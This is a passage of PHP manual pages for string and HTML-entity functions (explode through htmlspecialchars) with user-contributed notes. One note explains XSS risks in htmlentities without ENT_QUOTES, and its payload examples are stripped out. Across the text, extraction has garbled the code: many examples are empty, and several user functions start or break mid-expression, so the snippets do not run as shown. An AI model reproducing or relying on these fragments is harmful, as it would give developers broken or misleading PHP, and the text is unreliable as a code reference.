=> one [1] => two [2] => three [3] => four ) < 17 kkobashi at kobashicomputing dot com ¶4 years ago~ Explode does not parse a string by delimiters, in the sense that we expect to find tokens between a starting and ending delimiter, but instead splits a string into parts by using a string as the boundary of each part. Once that boundary is discovered the string is split. Whether or not that boundary is proceeded or superseded by any data is irrelevant since the parts are determined at the point a boundary is discovered. For example: > string(0) "" [1]=> string(0) "" } */ ?> < The reason we have two empty strings here is that a boundary is discovered before any data has been collected from the string. The boundary splits the string into two parts even though those parts are empty. One way to avoid getting back empty parts (if you don't care for those empty parts) is to use array_filter on the result. > < *[This note was edited by googleguy at php dot net for clarity]* 9 Anonymous ¶7 years ago~ > ') { if ($a = explode($delimiter, $string)) { // create parts foreach ($a as $s) { // each part if ($s) { if ($pos = strpos($s, $kv)) { // key/value delimiter $ka[trim(substr($s, 0, $pos))] = trim(substr($s, $pos + strlen($kv))); } else { // key delimiter not found $ka[] = trim($s); } } } return $ka; } } // string2KeyedArray $string = 'a=>1, b=>23 , $a, c=> 45% , true,d => ab c '; print_r(string2KeyedArray($string)); ?> Array ( [a] => 1 [b] => 23 [0] => $a [c] => 45% [1] => true [d] => ab c ) < 20 m0gr14 at gmail dot com ¶6 years ago~ Here's a function for "multi" exploding a string. > $val) { $ary[$key] = multiexplode($delimiters, $val); } } return $ary; } // Example of use $string = "1-2-3|4-5|6:7-8-9-0|1,2:3-4|5"; $delimiters = Array(",",":","|","-"); $res = multiexplode($delimiters,$string); echo '
';
	print_r($res);
	echo '
'; //returns /* Array ( [0] => Array ( [0] => Array ( [0] => Array ( [0] => 1 [1] => 2 [2] => 3 ) [1] => Array ( [0] => 4 [1] => 5 ) [2] => Array ( [0] => 6 ) ) [1] => Array ( [0] => Array ( [0] => 7 [1] => 8 [2] => 9 [3] => 0 ) [1] => Array ( [0] => 1 ) ) ) [1] => Array ( [0] => Array ( [0] => Array ( [0] => 2 ) ) [1] => Array ( [0] => Array ( [0] => 3 [1] => 4 ) [1] => Array ( [0] => 5 ) ) ) ) */ ?> < 9 nick dot brown at free dot fr ¶7 years ago~ My application was running out of memory (my hosting company limits PHP to 32MB). I have a string containing between 100 and 20000 triplets, separated by a space, with each triplet consisting of three double-precision numbers, separated by commas. Total size of the biggest string, with 20000 triplets, is about 1MB. The application needs to split the string into triplets, then split the triplet into numbers. In C, this would take up about 480K (20000 times 3 x 8 bytes) for the final array. The intermediate array of strings shouldn't be much bigger than the long string itself (1MB). And I expect some overhead from PHP, say 300% to allow for indexes etc. Well, PHP5 manages to run out of memory *at the first stage* (exploding the string on the space character). I'm expecting to get an array of 20000 strings, but it needs more than 32MB to store it. Amazing. The workaround was easy and had the bonus of producing faster code (I compared it on a 10000 triplet string). Since in any case I had to split up the numeric triplets afterwards, I decided to use preg_match_all() on the original string. Despite the fact that the resulting "matches" array contains more data per element than the result of explode() - because it stores the matched triplet, plus its component numbers - it takes up far less memory. Moral: be careful when using explode() on big strings, as it can also explode your memory usage. 6 Cody G. ¶6 years ago~ I'm sure you guys get just a bit frustrated at times when you need a fraction of a very simple string and you use "explode()", but then you have to define a whole extra variable. (That is because you need to store a function-returned array in a variable before you can extract a value). If you're extracting the last half, or third, of a string, there's an easy inline workaround. Check this: > < If the separator (dash) can be left in, you don't even need the "str_replace()" function. Lets try this with 3 fractions: > < Anything more than 3 fractions gets really confusing, in that case you should use "explode()". Hope this helps! ~Cody G. 6 coroa at cosmo-genics dot com ¶13 years ago~ To split a string containing multiple seperators between elements rather use preg_split than explode: preg_split ("/\s+/", "Here are to many spaces in between"); which gives you array ("Here", "are", "to", "many", "spaces", "in", "between"); -------------------------------------------------------------------------------- *fprintf* +---------+~ | fprintf |~ +---------+~ (PHP 5, PHP 7) fprintf — Write a formatted string to a stream Description~ > int fprintf ( resource $handle , string $format [, mixed $args [, mixed $... ]] ) < Write a string produced according to format to the stream resource specified by handle. Parameters~ handle ----- A file system pointer resource that is typically created using fopen(). format ------ See sprintf() for a description of format. args ----- ... Return Values~ Returns the length of the string written. Examples~ Example #1 fprintf(): zero-padded integers > < Example #2 fprintf(): formatting currency > < See Also~ |printf|() - Output a formatted string |sprintf|() - Return a formatted string |sscanf|() - Parses input from a string according to a format |fscanf|() - Parses input from a file according to a format |vsprintf|() - Return a formatted string |number_format|() - Format a number with grouped thousands -------------------------------------------------------------------------------- *get_html_translation_table* +----------------------------+~ | get_html_translation_table |~ +----------------------------+~ (PHP 4, PHP 5, PHP 7) get_html_translation_table — Returns the translation table used by htmlspecialchars() and htmlentities() Description~ > array get_html_translation_table ([ int $table = HTML_SPECIALCHARS [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = "UTF-8" ]]] ) get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities(). < Note: Special characters can be encoded in several ways. E.g. " can be encoded as ", " or ". get_html_translation_table() returns only the form used by htmlspecialchars() and htmlentities(). Parameters~ table ----- Which table to return. Either HTML_ENTITIES or HTML_SPECIALCHARS. flags ----- A bitmask of one or more of the following flags, which specify which quotes the table will contain as well as which document type the table is for. The default is ENT_COMPAT | ENT_HTML401. Available flags constants Constant Name Description ENT_COMPAT Table will contain entities for double-quotes, but not for single-quotes. ENT_QUOTES Table will contain entities for both double and single quotes. ENT_NOQUOTES Table will neither contain entities for single quotes nor for double quotes. ENT_HTML401 Table for HTML 4.01. ENT_XML1 Table for XML 1. ENT_XHTML Table for XHTML. ENT_HTML5 Table for HTML 5. encoding Encoding to use. If omitted, the default value for this argument is ISO-8859-1 in versions of PHP prior to 5.4.0, and UTF-8 from PHP 5.4.0 onwards. The following character sets are supported: Supported charsets Charset Aliases Description ISO-8859-1 ISO8859-1 Western European, Latin-1. ISO-8859-5 ISO8859-5 Little used cyrillic charset (Latin/Cyrillic). ISO-8859-15 ISO8859-15 Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1). UTF-8 ASCII compatible multi-byte 8-bit Unicode. cp866 ibm866, 866 DOS-specific Cyrillic charset. cp1251 Windows-1251, win-1251, 1251 Windows-specific Cyrillic charset. cp1252 Windows-1252, 1252 Windows specific charset for Western European. KOI8-R koi8-ru, koi8r Russian. BIG5 950 Traditional Chinese, mainly used in Taiwan. GB2312 936 Simplified Chinese, national standard character set. BIG5-HKSCS Big5 with Hong Kong extensions, Traditional Chinese. Shift_JIS SJIS, SJIS-win, cp932, 932 Japanese EUC-JP EUCJP, eucJP-win Japanese MacRoman Charset that was used by Mac OS. '' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended. Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted. Return Values~ Returns the translation table as an array, with the original characters as keys and entities as values. Changelog~ Version Description 5.4.0 The default value for the encoding parameter was changed to UTF-8. 5.4.0 The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added. 5.3.4 The encoding parameter was added. Examples~ Example #1 Translation Table Example > < The above example will output something similar to: > array(1510) { [" "]=> string(9) " " ["!"]=> string(6) "!" ["""]=> string(6) """ ["#"]=> string(5) "#" ["$"]=> string(8) "$" ["%"]=> string(8) "%" ["&"]=> string(5) "&" ["'"]=> string(6) "'" // ... } See Also ¶ htmlspecialchars() - Convert special characters to HTML entities htmlentities() - Convert all applicable characters to HTML entities html_entity_decode() - Convert all HTML entities to their applicable characters add a note add a note User Contributed Notes 13 notes up down 9 kevin at cwsmailbox dot xom ¶6 years ago Be careful using get_html_translation_table() in a loop, as it's very slow. up down 9 michael dot genesis at gmail dot com ¶5 years ago The fact that MS-word and some other sources use CP-1252, and that it is so close to Latin1 ('ISO-8859-1') causes a lot of confusion. What confused me the most was finding that mySQL uses CP-1252 by default. You may run into trouble if you find yourself tempted to do something like this: < Don't do it. DON'T DO IT! You can use: > < or just convert directly: > < But your web page is probably encoded UTF-8, and you probably don't really want CP-1252 text flying around, so fix the character encoding first: > < -------------------------------------------------------------------------------- *hebrev* +--------+~ | hebrev |~ +--------+~ (PHP 4, PHP 5, PHP 7) hebrev — Convert logical Hebrew text to visual text Description~ > string hebrev ( string $hebrew_text [, int $max_chars_per_line = 0 ] ) < Converts logical Hebrew text to visual text. The function tries to avoid breaking words. Parameters~ hebrew_text ----------- A Hebrew input string. max_chars_per_line ------------------ This optional parameter indicates maximum number of characters per line that will be returned. Return Values~ Returns the visual string. See Also~ hebrevc() - Convert logical Hebrew text to visual text with newline conversion -------------------------------------------------------------------------------- *hebrevc* +---------+~ | hebrevc |~ +---------+~ (PHP 4, PHP 5, PHP 7) hebrevc — Convert logical Hebrew text to visual text with newline conversion Description~ > string hebrevc ( string $hebrew_text [, int $max_chars_per_line = 0 ] ) < This function is similar to hebrev() with the difference that it converts newlines (\n) to "
\n". The function tries to avoid breaking words. Parameters~ hebrew_text ----------- A Hebrew input string. max_chars_per_line ------------------a This optional parameter indicates maximum number of characters per line that will be returned. Return Values~ Returns the visual string. See Also~ |hebrev|() - Convert logical Hebrew text to visual text -------------------------------------------------------------------------------- *hex2bin* +---------+~ | hex2bin |~ +---------+~ (PHP >= 5.4.0) hex2bin — Decodes a hexadecimally encoded binary string Description~ > string hex2bin ( string $data ) < Decodes a hexadecimally encoded binary string. Caution This function does NOT convert a hexadecimal number to a binary number. This can be done using the base_convert() function. Parameters~ data ----- Hexadecimal representation of data. Return Values~ Returns the binary representation of the given data or FALSE on failure. Errors/Exceptions~ If the hexadecimal input string is of odd length or invalid hexadecimal string an E_WARNING level error is thrown. Changelog~ Version Description 5.5.1 A warning is thrown if the input string is invalid hexadecimal string. 5.4.4 A warning is thrown if the input string is of odd length. In PHP 5.4.0 the string was silently accepted, but the last byte was truncated. Examples~ Example #1 hex2bin() example > < The above example will output something similar to: string(16) "example hex data" See Also~ |bin2hex|() - Convert binary data into hexadecimal representation |unpack|() - Unpack data from binary string User Contributed Notes 9 notes 38 Anonymous ¶5 years ago~ The function hex2bin does not exist in PHP5. You can use 'pack' instead : > $binary_string = pack("H*" , $hex_string); < -------------------------------------------------------------------------------- *html_entity_decode* +--------------------+~ | html_entity_decode |~ +--------------------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) html_entity_decode — Convert all HTML entities to their applicable characters Description~ > string html_entity_decode ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") ]] ) < html_entity_decode() is the opposite of htmlentities() in that it converts all HTML entities in the string to their applicable characters. More precisely, this function decodes all the entities (including all numeric entities) that a) are necessarily valid for the chosen document type — i.e., for XML, this function does not decode named entities that might be defined in some DTD — and b) whose character or characters are in the coded character set associated with the chosen encoding and are permitted in the chosen document type. All other entities are left as is. Parameters~ string ------ The input string. flags ----- A bitmask of one or more of the following flags, which specify how to handle quotes and which document type to use. The default is ENT_COMPAT | ENT_HTML401. Available flags constants Constant Name Description ENT_COMPAT Will convert double-quotes and leave single-quotes alone. ENT_QUOTES Will convert both double and single quotes. ENT_NOQUOTES Will leave both double and single quotes unconverted. ENT_HTML401 Handle code as HTML 4.01. ENT_XML1 Handle code as XML 1. ENT_XHTML Handle code as XHTML. ENT_HTML5 Handle code as HTML 5. encoding An optional argument defining the encoding used when converting characters. If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1. Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input. The following character sets are supported: Supported charsets Charset Aliases Description ISO-8859-1 ISO8859-1 Western European, Latin-1. ISO-8859-5 ISO8859-5 Little used cyrillic charset (Latin/Cyrillic). ISO-8859-15 ISO8859-15 Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1). UTF-8 ASCII compatible multi-byte 8-bit Unicode. cp866 ibm866, 866 DOS-specific Cyrillic charset. cp1251 Windows-1251, win-1251, 1251 Windows-specific Cyrillic charset. cp1252 Windows-1252, 1252 Windows specific charset for Western European. KOI8-R koi8-ru, koi8r Russian. BIG5 950 Traditional Chinese, mainly used in Taiwan. GB2312 936 Simplified Chinese, national standard character set. BIG5-HKSCS Big5 with Hong Kong extensions, Traditional Chinese. Shift_JIS SJIS, SJIS-win, cp932, 932 Japanese EUC-JP EUCJP, eucJP-win Japanese MacRoman Charset that was used by Mac OS. '' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended. Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted. Return Values~ Returns the decoded string. Changelog~ Version Description 5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option. 5.4.0 Default encoding changed from ISO-8859-1 to UTF-8. 5.4.0 The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added. Examples~ Example #1 Decoding HTML entities > dog now"; $a = htmlentities($orig); $b = html_entity_decode($a); echo $a; // I'll "walk" the <b>dog</b> now echo $b; // I'll "walk" the dog now ?> < Notes~ Note: You might wonder why trim(html_entity_decode(' ')); doesn't reduce the string to an empty string, that's because the ' ' entity is not ASCII code 32 (which is stripped by trim()) but ASCII code 160 (0xa0) in the default ISO 8859-1 encoding. See Also~ |htmlentities|() - Convert all applicable characters to HTML entities |htmlspecialchars|() - Convert special characters to HTML entities |get_html_translation_table|() - Returns the translation table used by htmlspecialchars and htmlentities |urldecode|() - Decodes URL-encoded string User Contributed Notes 18 notes 66 Martin ¶5 years ago~ If you need something that converts &#[0-9]+ entities to UTF-8, this is simple and works: > < 7 txnull ¶1 year ago~ Use the following to decode all entities: > < I've checked these special entities: - double quotes (") - single quotes (' and ') - non printable chars (e.g. ) With other $flags some or all won't be decoded. It seems that ENT_XML1 and ENT_XHTML are identical when decoding. 8 Benjamin ¶3 years ago~ The following function decodes named and numeric HTML entities and works on UTF-8. Requires iconv. > function decodeHtmlEnt($str) { $ret = html_entity_decode($str, ENT_COMPAT, 'UTF-8'); $p2 = -1; for(;;) { $p = strpos($ret, '&#', $p2+1); if ($p === FALSE) break; $p2 = strpos($ret, ';', $p); if ($p2 === FALSE) break; if (substr($ret, $p+2, 1) == 'x') $char = hexdec(substr($ret, $p+3, $p2-$p-3)); else $char = intval(substr($ret, $p+2, $p2-$p-2)); //echo "$char\n"; $newchar = iconv( 'UCS-4', 'UTF-8', chr(($char>>24)&0xFF).chr(($char>>16)&0xFF).chr(($char>>8)&0xFF).chr($char&0xFF) ); //echo "$newchar<$p<$p2<<\n"; $ret = substr_replace($ret, $newchar, $p, 1+$p2-$p); $p2 = $p + strlen($newchar); } return $ret; } < 8 php dot net at c dash ovidiu dot tk ¶12 years ago~ Quick & dirty code that translates numeric entities to UTF-8. > \n"; echo preg_replace_callback('/&#([0-9a-fx]+);/mi', 'replace_num_entity', $test); ?> < 6 aidan at php dot net ¶12 years ago~ This functionality is now implemented in the PEAR package PHP_Compat. More information about using this function without upgrading your version of PHP can be found on the below link: http://pear.php.net/package/PHP_Compat 6 me at richardsnazell dot com ¶9 years ago~ I had a problem getting the 'TM' trademark symbol to display correctly in an email subject line. Using html_entity_decode() with different charsets didn't work, but directly replacing the entity with it's ASCII equivalent did: > $subject = str_replace('™', chr(153), $subject); < -------------------------------------------------------------------------------- *htmlentities* +--------------+~ | htmlentities |~ +--------------+~ (PHP 4, PHP 5, PHP 7) htmlentities — Convert all applicable characters to HTML entities Description~ > string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] ) < This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities. If you want to decode instead (the reverse) you can use html_entity_decode(). Parameters~ string ------ The input string. flags ----- A bitmask of one or more of the following flags, which specify how to handle quotes, invalid code unit sequences and the used document type. The default is ENT_COMPAT | ENT_HTML401. Available flags constants Constant Name Description ENT_COMPAT Will convert double-quotes and leave single-quotes alone. ENT_QUOTES Will convert both double and single quotes. ENT_NOQUOTES Will leave both double and single quotes unconverted. ENT_IGNORE Silently discard invalid code unit sequences instead of returning an empty string. Using this flag is discouraged as it » may have security implications. ENT_SUBSTITUTE Replace invalid code unit sequences with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise) instead of returning an empty string. ENT_DISALLOWED Replace invalid code points for the given document type with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise) instead of leaving them as is. This may be useful, for instance, to ensure the well-formedness of XML documents with embedded external content. ENT_HTML401 Handle code as HTML 4.01. ENT_XML1 Handle code as XML 1. ENT_XHTML Handle code as XHTML. ENT_HTML5 Handle code as HTML 5. encoding An optional argument defining the encoding used when converting characters. If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1. Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input. The following character sets are supported: Supported charsets Charset Aliases Description ISO-8859-1 ISO8859-1 Western European, Latin-1. ISO-8859-5 ISO8859-5 Little used cyrillic charset (Latin/Cyrillic). ISO-8859-15 ISO8859-15 Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1). UTF-8 ASCII compatible multi-byte 8-bit Unicode. cp866 ibm866, 866 DOS-specific Cyrillic charset. cp1251 Windows-1251, win-1251, 1251 Windows-specific Cyrillic charset. cp1252 Windows-1252, 1252 Windows specific charset for Western European. KOI8-R koi8-ru, koi8r Russian. BIG5 950 Traditional Chinese, mainly used in Taiwan. GB2312 936 Simplified Chinese, national standard character set. BIG5-HKSCS Big5 with Hong Kong extensions, Traditional Chinese. Shift_JIS SJIS, SJIS-win, cp932, 932 Japanese EUC-JP EUCJP, eucJP-win Japanese MacRoman Charset that was used by Mac OS. '' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended. Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted. double_encode When double_encode is turned off PHP will not encode existing html entities. The default is to convert everything. Return Values~ Returns the encoded string. If the input string contains an invalid code unit sequence within the given encoding an empty string will be returned, unless either the ENT_IGNORE or ENT_SUBSTITUTE flags are set. Changelog~ Version Description 5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option. 5.4.0 The default value for the encoding parameter was changed to UTF-8. 5.4.0 The constants ENT_SUBSTITUTE, ENT_DISALLOWED, ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added. 5.3.0 The constant ENT_IGNORE was added. 5.2.3 The double_encode parameter was added. Examples~ Example #1 A htmlentities() example > bold"; // Outputs: A 'quote' is <b>bold</b> echo htmlentities($str); // Outputs: A 'quote' is <b>bold</b> echo htmlentities($str, ENT_QUOTES); ?> < Example #2 Usage of ENT_IGNORE > < See Also~ |html_entity_decode|() - Convert all HTML entities to their applicable characters |get_html_translation_table|() - Returns the translation table used by htmlspecialchars and htmlentities |htmlspecialchars|() - Convert special characters to HTML entities |nl2br|() - Inserts HTML line breaks before all newlines in a string |urlencode|() - URL-encodes string User Contributed Notes 39 notes 85 Sijmen Ruwhof ¶6 years ago~ An important note below about using this function to secure your application against Cross Site Scripting (XSS) vulnerabilities. When printing user input in an attribute of an HTML tag, the default configuration of htmlEntities() doesn't protect you against XSS, when using single quotes to define the border of the tag's attribute-value. XSS is then possible by injecting a single quote: > < XSS possible (insecure): > "; # results in: ?> < Use the 'ENT_QUOTES' quote style option, to ensure no XSS is possible and your application is secure: > "; # results in: ?> < The 'ENT_QUOTES' option doesn't protect you against javascript evaluation in certain tag's attributes, like the 'href' attribute of the 'a' tag. When clicked on the link below, the given JavaScript will get executed: > link"; # results in: link ?> < 15 q (dot) rendeiro (at) gmail (dot) com ¶10 years ago~ I've seen lots of functions to convert all the entities, but I needed to do a fulltext search in a db field that had named entities instead of numeric entities (edited by tinymce), so I searched the tinymce source and found a string with the value->entity mapping. So, i wrote the following function to encode the user's query with named entities. The string I used is different of the original, because i didn't want to convert ' or ". The string is too long, so I had to cut it. To get the original check TinyMCE source and search for nbsp or other entity ;) > < 17 n at erui dot eu ¶5 years ago~ html entities does not encode all unicode characters. It encodes what it can [all of latin1], and the others slip through. Љ is the nasty I use. I have searched for a function which encodes everything, but in the end I wrote this. This is as simple as I can get it. Consult an ansii table to custom include/omit chars you want/don't. I'm sure it's not that fast. > // Unicode-proof htmlentities. // Returns 'normal' chars as chars and weirdos as numeric html entites. function superentities( $str ){ // get rid of existing entities else double-escape $str = html_entity_decode(stripslashes($str),ENT_QUOTES,'UTF-8'); $ar = preg_split('/(? 1) || /* multi-byte [unicode] */ ($o <32 || $o > 126) || /* <- control / latin weirdos -> */ ($o >33 && $o < 40) ||/* quotes + ambersand */ ($o >59 && $o < 63) /* html */ ) { // convert to numeric entity $c = mb_encode_numericentity($c,array (0x0, 0xffff, 0, 0xffff), 'UTF-8'); } $str2 .= $c; } return $str2; } < 9 phil at lavin dot me dot uk ¶6 years ago~ The following will make a string completely safe for XML: > 0 && $ord < 32) || ($ord >= 127)) { $strout .= "&#{$ord};"; } else { switch ($strin[$i]) { case '<': $strout .= '<'; break; case '>': $strout .= '>'; break; case '&': $strout .= '&'; break; case '"': $strout .= '"'; break; default: $strout .= $strin[$i]; } } } return $strout; } ?> < 10 realcj at g mail dt com ¶10 years ago~ If you are building a loadvars page for Flash and have problems with special chars such as " & ", " ' " etc, you should escape them for flash: Try trace(escape("&")); in flash' actionscript to see the escape code for &; % = %25 & = %26 ' = %27 > < Those are the two that concerned me. YMMV. 7 Waygood ¶5 years ago~ When putting values inside comment tags you should replace -- with -- too, as this would end your tag and show the rest of the comment. 6 wd at NOSPAMwd dot it ¶5 years ago~ > Hi there, after several and several tests, I figured out that dot: - htmlentities() function remove characters like "à","è",etc when you specify a flag and a charset - htmlentities() function DOES NOT remove characters like those above when you DO NOT specify anything So, let's assume that.. > < I used this for a textarea content for comments. Anyway, note that using the "$res_2" form the function will leave unconverted single/double quotes. At this point you should use str_replace() function to perform the characters but be careful because.. > Nice ?> < Hope it will helps you. Regards, W.D. 6 ustimenko dot alexander at gmail dot com ¶4 years ago~ For those Spanish (and not only) folks, that want their national letters back after htmlentities :) > ENT_NOQUOTES, 'encoding' => 'UTF-8', ); return preg_replace_callback( '/&\w(acute|uml|tilde);/', create_function( '$m', 'return html_entity_decode($m[0], ' . $options['quote'] . ', "' . $options['encoding'] . '");' ), $encodedValue ); } ?> < -------------------------------------------------------------------------------- *htmlspecialchars_decode* +-------------------------+~ | htmlspecialchars_decode |~ +-------------------------+~ (PHP 5 >= 5.1.0, PHP 7) htmlspecialchars_decode — Convert special HTML entities back to characters Description~ > string htmlspecialchars_decode ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 ] ) < This function is the opposite of htmlspecialchars(). It converts special HTML entities back to characters. The converted entities are: &, " (when ENT_NOQUOTES is not set), ' (when ENT_QUOTES is set), < and >. Parameters~ string ------ The string to decode. flags ----- A bitmask of one or more of the following flags, which specify how to handle quotes and which document type to use. The default is ENT_COMPAT | ENT_HTML401. Available flags constants Constant Name Description ENT_COMPAT Will convert double-quotes and leave single-quotes alone. ENT_QUOTES Will convert both double and single quotes. ENT_NOQUOTES Will leave both double and single quotes unconverted. ENT_HTML401 Handle code as HTML 4.01. ENT_XML1 Handle code as XML 1. ENT_XHTML Handle code as XHTML. ENT_HTML5 Handle code as HTML 5. Return Values ¶ Returns the decoded string. Changelog~ Version Description 5.4.0 The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added. Examples~ Example #1 A htmlspecialchars_decode() example > this -> "

\n"; echo htmlspecialchars_decode($str); // note that here the quotes aren't converted echo htmlspecialchars_decode($str, ENT_NOQUOTES); ?> < The above example will output: >

this -> "

this -> "

< See Also~ |htmlspecialchars|() - Convert special characters to HTML entities |html_entity_decode|() - Convert all HTML entities to their applicable characters |get_html_translation_table|() - Returns the translation table used by htmlspecialchars and htmlentities -------------------------------------------------------------------------------- *htmlspecialchars* +------------------+~ | htmlspecialchars |~ +------------------+~ (PHP 4, PHP 5, PHP 7) htmlspecialchars — Convert special characters to HTML entities Description~ > string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] ) < Certain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings. This function returns a string with these conversions made. If you require all input substrings that have associated named entities to be translated, use htmlentities() instead. If the input string passed to this function and the final document share the same character set, this function is sufficient to prepare input for inclusion in most contexts of an HTML document. If, however, the input can represent characters that are not coded in the final document character set and you wish to retain those characters (as numeric or named entities), both this function and htmlentities() (which only encodes substrings that have named entity equivalents) may be insufficient. You may have to use mb_encode_numericentity() instead. Performed translations Character Replacement & (ampersand) & " (double quote) ", unless ENT_NOQUOTES is set ' (single quote) ' (for ENT_HTML401) or ' (for ENT_XML1, ENT_XHTML or ENT_HTML5), but only when ENT_QUOTES is set < (less than) < > (greater than) > Parameters~ string ------ The string being converted. flags ----- A bitmask of one or more of the following flags, which specify how to handle quotes, invalid code unit sequences and the used document type. The default is ENT_COMPAT | ENT_HTML401. Available flags constants Constant Name Description ENT_COMPAT Will convert double-quotes and leave single-quotes alone. ENT_QUOTES Will convert both double and single quotes. ENT_NOQUOTES Will leave both double and single quotes unconverted. ENT_IGNORE Silently discard invalid code unit sequences instead of returning an empty string. Using this flag is discouraged as it » may have security implications. ENT_SUBSTITUTE Replace invalid code unit sequences with a Unicode Replacement Character U+FFFD (UTF-8) or � (otherwise) instead of returning an empty string. ENT_DISALLOWED Replace invalid code points for the given document type with a Unicode Replacement Character U+FFFD (UTF-8) or � (otherwise) instead of leaving them as is. This may be useful, for instance, to ensure the well-formedness of XML documents with embedded external content. ENT_HTML401 Handle code as HTML 4.01. ENT_XML1 Handle code as XML 1. ENT_XHTML Handle code as XHTML. ENT_HTML5 Handle code as HTML 5. encoding -------- An optional argument defining the encoding used when converting characters. If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1. Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input. For the purposes of this function, the encodings ISO-8859-1, ISO-8859-15, UTF-8, cp866, cp1251, cp1252, and KOI8-R are effectively equivalent, provided the string itself is valid for the encoding, as the characters affected by htmlspecialchars() occupy the same positions in all of these encodings. The following character sets are supported: Supported charsets Charset Aliases Description ISO-8859-1 ISO8859-1 Western European, Latin-1. ISO-8859-5 ISO8859-5 Little used cyrillic charset (Latin/Cyrillic). ISO-8859-15 ISO8859-15 Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1). UTF-8 ASCII compatible multi-byte 8-bit Unicode. cp866 ibm866, 866 DOS-specific Cyrillic charset. cp1251 Windows-1251, win-1251, 1251 Windows-specific Cyrillic charset. cp1252 Windows-1252, 1252 Windows specific charset for Western European. KOI8-R koi8-ru, koi8r Russian. BIG5 950 Traditional Chinese, mainly used in Taiwan. GB2312 936 Simplified Chinese, national standard character set. BIG5-HKSCS Big5 with Hong Kong extensions, Traditional Chinese. Shift_JIS SJIS, SJIS-win, cp932, 932 Japanese EUC-JP EUCJP, eucJP-win Japanese MacRoman Charset that was used by Mac OS. '' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended. Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted. double_encode When double_encode is turned off PHP will not encode existing html entities, the default is to convert everything. Return Values~ The converted string. If the input string contains an invalid code unit sequence within the given encoding an empty string will be returned, unless either the ENT_IGNORE or ENT_SUBSTITUTE flags are set. Changelog~ Version Description 5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option. 5.4.0 The default value for the encoding parameter was changed to UTF-8. 5.4.0 The constants ENT_SUBSTITUTE, ENT_DISALLOWED, ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added. 5.3.0 The constant ENT_IGNORE was added. 5.2.3 The double_encode parameter was added. Examples~ Example #1 htmlspecialchars() example > Test", ENT_QUOTES); echo $new; // <a href='test'>Test</a> ?> < Notes Note: Note that this function does not translate anything beyond what is listed above. For full entity translation, see htmlentities(). Note: In case of an ambiguous flags value, the following rules apply: When neither of ENT_COMPAT, ENT_QUOTES, ENT_NOQUOTES is present, the default is ENT_COMPAT. When more than one of ENT_COMPAT, ENT_QUOTES, ENT_NOQUOTES is present, ENT_QUOTES takes the highest precedence, followed by ENT_COMPAT. When neither of ENT_HTML401, ENT_HTML5, ENT_XHTML, ENT_XML1 is present, the default is ENT_HTML401. When more than one of ENT_HTML401, ENT_HTML5, ENT_XHTML, ENT_XML1 is present, ENT_HTML5 takes the highest precedence, followed by ENT_XHTML, ENT_HTML401. When more than one of ENT_DISALLOWED, ENT_IGNORE, ENT_SUBSTITUTE are present, ENT_IGNORE takes the highest precedence, followed by ENT_SUBSTITUTE. See Also~ |get_html_translation_table|() - Returns the translation table used by htmlspecialchars and htmlentities |htmlspecialchars_decode|() - Convert special HTML entities back to characters |strip_tags|() - Strip HTML and PHP tags from a string |htmlentities|() - Convert all applicable characters to HTML entities |nl2br|() - Inserts HTML line breaks before all newlines in a string User Contributed Notes 46 notes 49 Dave ¶3 years ago~ As of PHP 5.4 they changed default encoding from "ISO-8859-1" to "UTF-8". So if you get null from htmlspecialchars or htmlentities where you have only set > < 